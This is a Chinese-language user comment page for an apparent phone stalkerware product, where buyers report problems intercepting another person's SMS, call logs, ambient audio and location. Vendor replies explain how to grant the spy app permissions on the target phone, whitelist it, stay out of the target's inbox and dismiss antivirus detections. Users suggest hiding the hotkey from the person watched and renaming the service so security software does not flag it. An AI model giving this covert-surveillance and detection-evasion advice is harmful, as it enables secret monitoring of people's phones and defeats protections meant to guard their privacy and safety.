用户留言

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《用户留言》上有68条评论

    1. 您好,这种问题是由于网络拥塞导致的,对方重启手机即可恢复。或者您也可以使用我们新版的受控端软件,更加顺畅!

  1. 环境录音和位置能收到,短信和通话记录就收不到,无论哪个版本都是一样的,手机重启也没用,已经三天了,还是这样,

    1. 1、在对方手机安装受控端的时候,部分手机会弹出“是否允许XX软件获取短信记录,通话记录”,切记一定要选择“允许”,否则收不到!
      (近期发现很多用户安装受控端的时候,没有选择“允许”而是选择了“拒绝”,导致短信通话被杀毒软件禁用而收不到的情况,请用户使用的时候一定要注意!!)
      2、受控端安装并且设置好号码后,一分钟后再用控制端查看消息,否则可能会发生不可预料的错误

  2. 我到现在差不多一个星期没有收到短信和电话了,就能定位,无论什么版本都是一样的,昨天重新安装了还是一样的。就是没有短信和电话

    1. 您好,收到你的留言。收不到短信和通话的原因是:对方手机第三方管理软件禁用了受控端的权限。解决的办法是,将受控端完全卸载干净,重启手机,再安装一次,设置白名单,允许所有权限。

    1. 如果对方手机上安装了新版受控端,一般情况下是不会在对方手机收件箱显示的。使用的时候请具体测试无误之后再使用。

  3. 我在平板电脑上安装的软件,能控制,但是在手机上又安装的时候,就用不了,有时候不能登录,有时候能登录,但是收不到数据

  4. 受控端费流量很大是不是,能不能改进一下,每天大约得用10M的流量吧,很容易使受控手机流量用过量,导致手机停机。

    1. 采用以下几个步骤:
      1、在受控端设置为“维持手机原状”
      2、发送录音指令,选择“存在本地”或“wifi下上传”,放弃选择“直接上传”
      3、尽量少用录音指令,10分钟录音大小为1M

  5. 1 建议改变调出的热键,防止客户发现,哪怕自己设定更好。
    2 更变客户端服务的名称,防止安全软件记录到黑名单里,每个版本,适当的改变一下名字的字母,加个数字什么的。

  6. 录音功能,最好是能增加录制的号码,,比如可以设定录制某几个号码的录音,,
    只能录制一个号码,,限制太大了。

  7. 为什么软件上显示有这个电话号码的通话记录,但是在网上查通话祥单上没有这个号码的通话记录,软件上显示上通话时间15分钟,我打10086问,有没有什么方法可以屏蔽通话记录,人家说不可能,我彻底蒙了,怎么回事啊??、

  8. 最近不知道为什么软件总会出现各种问题。1,定位不了或者定位不准确,或有延迟。2,通话记录和短信记录可以过来,但定位却告知没设为白名单。但受控端的的确确设置了白名单。3,通话录音或者环境录音进入了无效的状态,客服告知我只网络问题。但好多天过去了。情况还是一样。但说明一点的是,有的时候在wifi的情况下,环境录音是有时可以用的。不知道怎么了,就这几天开始,明明非常好用的软件,现在却用的不畅快。希望客服还有技术人员能够快点解决。毕竟这样长久下去对于我们顾客使用很不方便。我在反应以上的情况下,受控端都是在开着网络的情况下有的情况。都是一边聊微信,一边操作的。还有提一个小小的意见,就是如果软件能够再躲开一个功能就是可以控制受控端网络的开关就好了。谢谢,麻烦技术人员加油修复吧!

  9. 还有屏幕控制,或者加一个记录别人手机里的应用打开时间的功能,比如别人在10.00打开过qq,22.00打开过快播,记录下来发给控制端,这样就知道员工或者孩子用手机干过什么就一清二楚了,。哈哈,这方案好吗?

  10. 哥们,我这通话录音不好使啊。对方在wifi的情况下可以,但用中国移动网的手机就不可以了。。。麻烦你帮调试一下啊。前两天还可以呢。。。。

  11. 我的控制端目前一直存在这样几个问题,首要问题是地图无法显示,可以看到大致位置,但是一些具体的地名啊,街道啊什么的都看不到,只能看到整齐的小方格,我重新安装控制端也没有用。次要问题是短信和电话都有记录,但是有一些遗漏。再就是你们的客服qq是不是放假了,联系了好久都没消息,希望你们能帮我尽快解决这些问题,谢谢

  12. 百度地图时有时无,没有的时候就是一片空白,只能够看到定位的坐标。怎么设置才可以让地图一直都存在呢?

    1. 您好,由于软件被360错误提示为病毒,本软件为绿色应用,所有操作均在用户合法授权下进行,不存在泄漏隐私的问题。针对于此您可以忽略该提醒,如果有强迫症的用户实在难以忍受该提醒,可以尝试使用新版控制端受控端。在此下载安装:软件下载

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